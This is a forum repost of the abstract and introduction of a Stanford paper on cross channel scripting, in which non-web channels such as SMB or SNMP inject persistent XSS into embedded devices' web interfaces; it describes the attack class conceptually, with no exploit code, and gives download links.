XCS: Cross Channel Scripting and its Impact on Web Applications

[Nytro]

XCS: Cross Channel Scripting and its Impact on Web Applications

Hristo Bojinov

Stanford University

hristo @ cs.stanford.edu

Elie Bursztein

Stanford University

elie @ cs.stanford.edu

Dan Boneh

Stanford University

dabo @ cs.stanford.edu

ABSTRACT

We study the security of embedded web servers used in con-

sumer electronic devices, such as security cameras and photo

frames, and for IT infrastructure, such as wireless access

points and lights-out management systems. All the devices

we examine turn out to be vulnerable to a variety of web

attacks, including cross site scripting (XSS) and cross site

request forgery (CSRF). In addition, we show that consumer

electronics are particularly vulnerable to a nasty form of

persistent XSS where a non-web channel such as NFS or

SNMP is used to inject a malicious script. This script is

later used to attack an unsuspecting user who connects to

the device's web server. We refer to web attacks which are

mounted through a non-web channel as cross channel script-

ing (XCS). We propose a client-side defense against certain

XCS which we implement as a browser extension.

1. INTRODUCTION

Current consumer electronic devices often ship with an

embedded web server used for system management. The

benets of providing a web-based user interface are twofold:

rst, the user does not need to learn a complicated command-

line language, and second, the vendor does not need to ship

client-side software. Instead the user interacts with the de-

vice through a familiar browser UI.

While this is a cost-eective and convenient solution, it

can introduce considerable security risk due to the large

number of potential vulnerabilities in a weak web applica-

tion. Moreover, securing Web applications on a consumer

electronics device can be difficult due to the large number of

supported network protocols and the interactions between

them. For example a user might upload a le to a network

storage device by using the SMB protocol, manage its per-

missions through the web interface, and eventually share it

with his friends through FTP.

In this complex environment, it is not surprising that

many embedded devices are vulnerable to web attacks. In

fact, all the 23 devices we evaluated [3] were vulnerable to

several types of Web attacks, including cross site scripting

(XSS) [6], cross site request forgeries (CSRF) [30, 2], and

many others.

Recall that in a type 1 (reected) cross site scripting at-

tack, the user follows a malicious link to a victim site. A

vulnerability in the site causes an attack script to be embed-

ded into the resulting HTTP response. This script can then

take over the page and perform arbitrary actions on behalf

of the attacker. A type 2 XSS, called persistent XSS, en-

ables the attacker to inject a malicious script into persistent

storage at the victim site. When an unsuspecting user views

a page that contains the script, the script can take over the

page. For example, type 2 XSS can aect message boards;

an attacker can post a message containing a script that is

later executed by the browser of every user that happens to

view the attacker's post. A recent example of such an attack

is the XSS Twitter worm that struck in the middle of April

2009 [31].

Cross Channel Scripting attack. Many of the embedded

devices we examined were vulnerable to a type of persistent

XSS that we call cross channel scripting (XCS). In an

XCS attack a non-web channel, such as SNMP or FTP, is

used to inject a persistent XSS exploit which is activated

when the user connects to the web interface. For exam-

ple, several NAS devices we examined allow an attacker to

upload a le with an almost arbitrary lename via SMB.

The attacker takes advantage of this lack of restrictions and

crafts a lename that contains a malicious script. When the

NAS administrator views the NAS contents through the web

interface, the device happily sends an HTTP response to the

admin's browser containing a list of le names including the

malicious lename, which is then interpreted as a script by

the browser. The script executes on the admin's browser giv-

ing the attacker full control of the admin session. In Sec. 3

we present the most interesting XCS attacks we discovered.

We also founded a related class of attacks in which a web

vulnerability is used to attack a non-web channel. We refer

to this as a reverse XCS vulnerability. We give examples

in Section 4.

XCS and reverse XCS are more likely to aect embedded

devices than traditional web sites because these devices of-

ten provide a number of services (e.g. web, SNMP, NFS,

P2P) which are cobbled together from generic components.

The interaction between the components may not be com-

pletely analyzed, leading to an XCS vulnerability. In con-

trast, many Internet web sites only provide a web interface

and hence are less likely to be aected by XCS. Interestingly,

large web sites such as Facebook and Twitter, provide non-

web cloud APIs for third party applications which present

XCS opportunities, as discussed in Section 5.

Detecting an XCS or reverse XCS vulnerability can be dif-

cult because these attacks abuse the interaction between

the web interface and an alternate communication chan-

nel. Simply inspecting the web application code and the

other service code is not enough to detect the vulnerability.

The web application and the other service, such as an FTP

server, can be completely secure in isolation and become

vulnerable only when used in conjunction.

Download:

citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.149.9782&rep=rep1&type=pdf&rct=j&q=XCS%20paper&ei=RY_UTM2XIZC2sAOOxM2NCw&usg=AFQjCNFIjZGE0NFLqFsbij713Ii3dRYv-Q&sig2=xEE5GtB7lZOH-zNQ6VND-Q&cad=rja

Mirror:

http://www.multiupload.com/49EW25WAJV